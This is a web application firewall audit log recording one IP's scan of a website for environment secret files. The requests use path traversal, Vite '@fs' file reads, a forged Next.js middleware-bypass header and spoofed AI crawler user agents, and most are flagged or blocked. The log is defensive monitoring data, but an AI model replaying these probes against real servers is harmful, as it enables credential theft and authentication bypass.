Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7aefd750-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7aefd750-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/images../.env"] [unique_id "aqZoOzTJ6xTvcJoem7f6bAAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555770199 220852 (- - -)
Stopwatch2: 1789290555770199 220852; combined=4574, p1=251, p2=4267, p3=0, p4=0, p5=56, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7aefd750-Z--

--bd4d8765-A--
[13/Sep/2026:12:09:16.017351 +0300] aqZoO2M7dE9KgIIOpQh0AgAAANQ 34.73.246.242 56004 127.0.0.1 7081
--bd4d8765-B--
GET /img../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--bd4d8765-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bd4d8765-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/img../.env"] [unique_id "aqZoO2M7dE9KgIIOpQh0AgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555813111 204326 (- - -)
Stopwatch2: 1789290555813111 204326; combined=4761, p1=228, p2=4474, p3=0, p4=0, p5=58, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bd4d8765-Z--

--afff122b-A--
[13/Sep/2026:12:09:16.027481 +0300] aqZoO2M7dE9KgIIOpQh0AwAAAMk 34.73.246.242 56006 127.0.0.1 7081
--afff122b-B--
GET /uploads../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--afff122b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--afff122b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/uploads../.env"] [unique_id "aqZoO2M7dE9KgIIOpQh0AwAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555838890 188653 (- - -)
Stopwatch2: 1789290555838890 188653; combined=4499, p1=241, p2=4207, p3=0, p4=0, p5=51, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--afff122b-Z--

--d5e08b69-A--
[13/Sep/2026:12:09:16.298671 +0300] aqZoPDTJ6xTvcJoem7f6bgAAAFY 34.73.246.242 56030 127.0.0.1 7081
--d5e08b69-B--
GET /@fs/var/task/.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d5e08b69-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d5e08b69-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/var/task/.env"] [unique_id "aqZoPDTJ6xTvcJoem7f6bgAAAFY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290556196049 102684 (- - -)
Stopwatch2: 1789290556196049 102684; combined=4793, p1=228, p2=4489, p3=0, p4=0, p5=76, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d5e08b69-Z--

--e35d442c-A--
[13/Sep/2026:12:09:16.317166 +0300] aqZoPCsVWymXUono-eRUxAAAAA8 34.73.246.242 56022 127.0.0.1 7081
--e35d442c-B--
GET /@fs/proc/self/cwd/.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e35d442c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e35d442c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "aqZoPCsVWymXUono-eRUxAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290556163514 153732 (- - -)
Stopwatch2: 1789290556163514 153732; combined=10644, p1=402, p2=10191, p3=0, p4=0, p5=51, sr=153, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e35d442c-Z--

--0e2c962a-A--
[13/Sep/2026:12:09:16.584729 +0300] aqZoPGM7dE9KgIIOpQh0BwAAANg 34.73.246.242 56076 127.0.0.1 7081
--0e2c962a-B--
GET /@fs/.env?url&raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0e2c962a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0e2c962a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/.env"] [unique_id "aqZoPGM7dE9KgIIOpQh0BwAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290556511427 73361 (- - -)
Stopwatch2: 1789290556511427 73361; combined=3871, p1=308, p2=3518, p3=0, p4=0, p5=44, sr=172, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0e2c962a-Z--

--03426f1b-A--
[13/Sep/2026:12:09:16.668950 +0300] aqZoPDTJ6xTvcJoem7f6bwAAAE8 34.73.246.242 56096 127.0.0.1 7081
--03426f1b-B--
GET /@fs/.env?import&?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--03426f1b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--03426f1b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/.env"] [unique_id "aqZoPDTJ6xTvcJoem7f6bwAAAE8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290556581744 87280 (- - -)
Stopwatch2: 1789290556581744 87280; combined=3664, p1=252, p2=3361, p3=0, p4=0, p5=51, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--03426f1b-Z--

--9015fe3b-A--
[13/Sep/2026:12:09:16.676943 +0300] aqZoPCsVWymXUono-eRUxQAAABI 34.73.246.242 56112 127.0.0.1 7081
--9015fe3b-B--
GET /@fs/.env?raw&url?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9015fe3b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9015fe3b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/.env"] [unique_id "aqZoPCsVWymXUono-eRUxQAAABI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290556601709 75296 (- - -)
Stopwatch2: 1789290556601709 75296; combined=4009, p1=248, p2=3708, p3=0, p4=0, p5=53, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9015fe3b-Z--

--e6716a0a-A--
[13/Sep/2026:12:09:18.030421 +0300] aqZoPWM7dE9KgIIOpQh0EgAAANQ 34.73.246.242 56270 127.0.0.1 7081
--e6716a0a-B--
GET /.env?import&url&inline HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e6716a0a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e6716a0a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoPWM7dE9KgIIOpQh0EgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290557930733 99762 (- - -)
Stopwatch2: 1789290557930733 99762; combined=3879, p1=238, p2=3592, p3=0, p4=0, p5=49, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e6716a0a-Z--

--0c53fe11-A--
[13/Sep/2026:12:09:18.031325 +0300] aqZoPWM7dE9KgIIOpQh0EAAAAMQ 34.73.246.242 56260 127.0.0.1 7081
--0c53fe11-B--
GET /.env?raw HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0c53fe11-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0c53fe11-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoPWM7dE9KgIIOpQh0EAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290557862051 169348 (- - -)
Stopwatch2: 1789290557862051 169348; combined=3321, p1=209, p2=3067, p3=0, p4=0, p5=44, sr=81, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0c53fe11-Z--

--1eae1374-A--
[13/Sep/2026:12:09:18.040116 +0300] aqZoPWM7dE9KgIIOpQh0EQAAANc 34.73.246.242 56264 127.0.0.1 7081
--1eae1374-B--
GET /.env?import&raw HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--1eae1374-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1eae1374-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoPWM7dE9KgIIOpQh0EQAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290557901082 139132 (- - -)
Stopwatch2: 1789290557901082 139132; combined=3346, p1=250, p2=3044, p3=0, p4=0, p5=52, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1eae1374-Z--

--d9fb2a54-A--
[13/Sep/2026:12:09:18.080365 +0300] aqZoPmM7dE9KgIIOpQh0EwAAANE 34.73.246.242 56284 127.0.0.1 7081
--d9fb2a54-B--
GET /.env.local?raw HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d9fb2a54-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d9fb2a54-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:raw=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPmM7dE9KgIIOpQh0EwAAANE"]
